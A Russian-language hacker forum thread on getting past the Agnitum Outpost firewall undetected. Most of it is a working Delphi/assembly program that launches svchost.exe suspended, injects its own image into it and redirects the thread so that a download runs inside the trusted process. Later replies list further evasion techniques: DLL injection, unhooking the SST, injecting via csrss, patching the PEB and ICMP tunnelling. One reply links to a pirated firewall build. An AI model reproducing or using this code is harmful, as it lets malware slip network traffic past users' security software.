народ, у кого есть идеи как обойти agnitum outpost,
желательно без палева.
у меня: последний никак (http://forum.antichat.ru/thread16467.html)
(не долго же ты рылся по форуму...)
x-ultra-x
24.05.2006, 17:10
глянь сюда - http://wasm.ru/article.php?article=fwb
статейка интересна. Гемор обеспечен, но по моему в версии 3.5 эта штука исправлена.
по моему легче просто грохнуть приложение с его сервисом
ага... как только попытаешься он тя блокирует + выдает сообщение
А что, старый добрый способ отменили?
{
Firewall Fucker - пример обхода фаерволла.
Copyright by Ms-Rem (Ms-Rem@yandex.ru) ICQ 286370715
}
program FireFuck;
uses
Windows, WinSock;
{$IMAGEBASE $13140000}
{ Определение положения подстроки в строке }
Function MyPos(Substr, Str: PChar): dword; stdcall;
asm
mov eax, Substr
mov edx, str
test eax, eax
je @noWork
test edx, edx
je @stringEmpty
push ebx
push esi
push edi
mov esi, eax
mov edi, edx
push eax
push edx
call lstrlen
mov ecx, eax
pop eax
push edi
push eax
push eax
call lstrlen
mov edx, eax
pop eax
dec edx
js @fail
mov al, [esi]
inc esi
sub ecx, edx
jle @fail
@loop:
repne scasb
jne @fail
mov ebx, ecx
push esi
push edi
mov ecx, edx
repe cmpsb
pop edi
pop esi
je @found
mov ecx, ebx
jmp @loop
@fail:
pop edx
xor eax, eax
jmp @exit
@stringEmpty:
xor eax, eax
jmp @noWork
@found:
pop edx
mov eax, edi
sub eax, edx
@exit:
pop edi
pop esi
pop ebx
@noWork:
end;
{ Копирование строк }
Function MyCopy(S:PChar; Index, Count: Dword): PChar; stdcall;
asm
mov eax, Count
inc eax
push eax
push LPTR
call LocalAlloc
mov edi, eax
mov ecx, Count
mov esi, S
add esi, Index
dec esi
rep movsb
end;
{ Копирование участка памяти }
procedure MyCopyMemory(Destination: Pointer; Source: Pointer; Length: DWORD);
asm
push ecx
push esi
push edi
mov esi, Source
mov edi, Destination
mov ecx, Length
rep movsb
pop edi
pop esi
pop ecx
end;
Function DownloadFile(Address: PChar; var ReturnSize: dword): pointer;
var
Buffer: pointer;
BufferLength: dword;
BufferUsed: dword;
Bytes: integer;
Header: PChar;
Site: PChar;
URL: PChar;
FSocket: integer;
SockAddrIn: TSockAddrIn;
HostEnt: PHostEnt;
Str: PChar;
WSAData: TWSAData;
hHeap: dword;
begin
Result := nil;
hHeap := GetProcessHeap();
WSAStartup(257, WSAData);
Site := MyCopy(Address, 1, MyPos('/', Address) - 1);
URL := MyCopy(Address, MyPos('/', Address), lstrlen(Address) - MyPos('/', Address) + 1);
Buffer := HeapAlloc(hHeap, 0, 1024);
try
BufferLength := 1024;
BufferUsed := 0;
FSocket := socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
SockAddrIn.sin_family := AF_INET;
SockAddrIn.sin_port := htons(80);
SockAddrIn.sin_addr.s_addr := inet_addr(Site);
if SockAddrIn.sin_addr.s_addr = INADDR_NONE then
begin
HostEnt := gethostbyname(Site);
if HostEnt = nil then Exit;
SockAddrIn.sin_addr.s_addr := Longint(PLongint(HostEnt^.h_addr_list^)^);
end;
if Connect(FSocket, SockAddrIn, SizeOf(SockAddrIn)) = -1 then Exit;
Str := HeapAlloc(hHeap, 0, 1024);
lstrcpy(Str, 'GET ');
lstrcat(Str, URL);
lstrcat(Str, ' HTTP/1.0'#10#13'Host: ');
lstrcat(Str, Site);
lstrcat(Str, #13#10'Connection: close'#13#10#13#10);
send(FSocket, Str^, lstrlen(Str), 0);
HeapFree(hHeap, 0, Str);
repeat
if BufferLength - BufferUsed < 1024 then
begin
Inc(BufferLength, 1024);
Buffer := HeapReAlloc(hHeap, 0, Buffer, BufferLength);
end;
Bytes := recv(FSocket, pointer(dword(Buffer) + BufferUsed)^, 1024, 0);
if Bytes > 0 then Inc(BufferUsed, Bytes);
until (Bytes = 0) or (Bytes = SOCKET_ERROR);
Header := MyCopy(Buffer, 1, MyPos(#13#10#13#10, Buffer) + 3);
ReturnSize := BufferUsed - lstrlen(header);
Result := VirtualAlloc(nil, ReturnSize, MEM_COMMIT or
MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if Result = nil then Exit;
MyCopyMemory(Result, pointer(dword(Buffer) + lstrlen(header)), ReturnSize);
finally
HeapFree(hHeap, 0, Buffer);
end;
end;
{ процедура выполняющаяся в контексте доверенного приложения }
Procedure Download(); stdcall;
const
URL : PChar = 'forum.antichat.ru/newreply.php?do=newreply&p=146170';
var
Buff: pointer;
Size: dword;
Bytes: dword;
dFile: dword;
begin
LoadLibrary('wsock32.dll');
Buff := DownloadFile(URL, Size);
dFile := CreateFile('1.htm', GENERIC_WRITE, 0, nil, CREATE_NEW, 0, 0);
WriteFile(dFile, Buff^, Size, Bytes, nil);
CloseHandle(dFile);
ExitProcess(0);
end;
var
St: TStartupInfo;
Pr: TProcessInformation;
InjectSize: dword;
Code: pointer;
Injected: pointer;
BytesWritten: dword;
Context: _CONTEXT;
begin
ZeroMemory(@St, SizeOf(TStartupInfo));
St.cb := SizeOf(TStartupInfo);
St.wShowWindow := SW_SHOW;
//запускаем процесс, которому разрешено лезть на 80 порт
CreateProcess(nil, 'svchost.exe', nil, nil, false,
CREATE_SUSPENDED, nil, nil, St, Pr);
Code := pointer(GetModuleHandle(nil));
InjectSize := PImageOptionalHeader(pointer(integer(Code) +
PImageDosHeader(Code)._lfanew +
SizeOf(dword) +
SizeOf(TImageFileHeader))).SizeOfImage;
//выделяем память в процессе
Injected := VirtualAllocEx(Pr.hProcess, Code, InjectSize, MEM_COMMIT or
MEM_RESERVE, PAGE_EXECUTE_READWRITE);
//внедряем код
WriteProcessMemory(Pr.hProcess, Injected, Code, InjectSize, BytesWritten);
//изменяем контекст нити
Context.ContextFlags := CONTEXT_FULL;
GetThreadContext(Pr.hThread, Context);
Context.Eip := dword(@Download);
SetThreadContext(Pr.hThread, Context);
//запускаем процесс
ResumeThread(Pr.hThread);
end.
народ, у кого есть идеи как обойти agnitum outpost
Тунелирование ICMP пакаетами.
народ, у кого есть идеи как обойти agnitum outpost
к сожалению, АБСОЛЮТНО ВСЕ существующие методы обхода базируюцаа на безпалевном инжекте в пердположительно доверенный процесс. У меня была идея написать драйвер, который будет работать напрямую с NDIS, предварительно найдя оригинальные адресса соотв ф-ций (оутпост их хукает ессесно) так что если есть желание/знания - вперёд, геморроя думаю здесь будет намного меньше чем кажеццо
Тунелирование ICMP пакаетами.
=)))
В общем тут такое дело:
1. Запуск доверенного процесса и соответственно через него и делать все что угодно. Способ хороший, НО!!! Outpost среагирует: минимум - сообщением "Запуск скрытого процесса", в другом случае это "Процесс xxx.exe облокирован" изменения в памяти процесса и т.д.
2. Dll-injection :D Ну тут слов нет все равно словит. читай 1 пункт 2 случай.
3. RAW Sockets, тут отдельная речь... Короче все равно поймает.
По моему единственный вариант это: Грузить приложение до Outposta и вырубать процесс... Почему не внести изменения? Outpost проверяет себя и компоненты на наличие Adware/Spyware и CRC...
Не знаю я не опытный кодер (да и в протоколах не очень...) по этому еще куча способов... На мой взгляд.
W!z@rD:
1, 2 - контроль памяти процессов довольно просто обходицца напр. снятием хуков с SST или инжектом через csrss в два прыжка, контроль компонентов лечиццо правкой PEB
короче эти способы работают без проблем, но только при наличии возможности инжекта в доверенный процесс, да и вообще попса и старьё, нужно что-нибудь новое и более координальное)
3. равсокеты дефолтно запрещены
убивать оутпост - просто глупо и некрасиво, да и слишком палевно к тому же (а про геморройность данного яспособа я вообще молчу - из юзермоде ты сервис оутпоста не грохнешь 100%)
вижу дело совсем плохо!!
Себе поставил Agnitum 4 (неофицальный релиз), "ни взохнуть ни пернуть", ммониторит все и всех. И помоему они просекли фишку с инжекцие кода
kaldata.host.bg/www.kaldata.net/Outpost%20Firewall/Outpost%20Firewall%20Pro%204.0.888.559%2032-bit%20Beta%20(kaldata.com).exe если кто захочет то он здесь
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot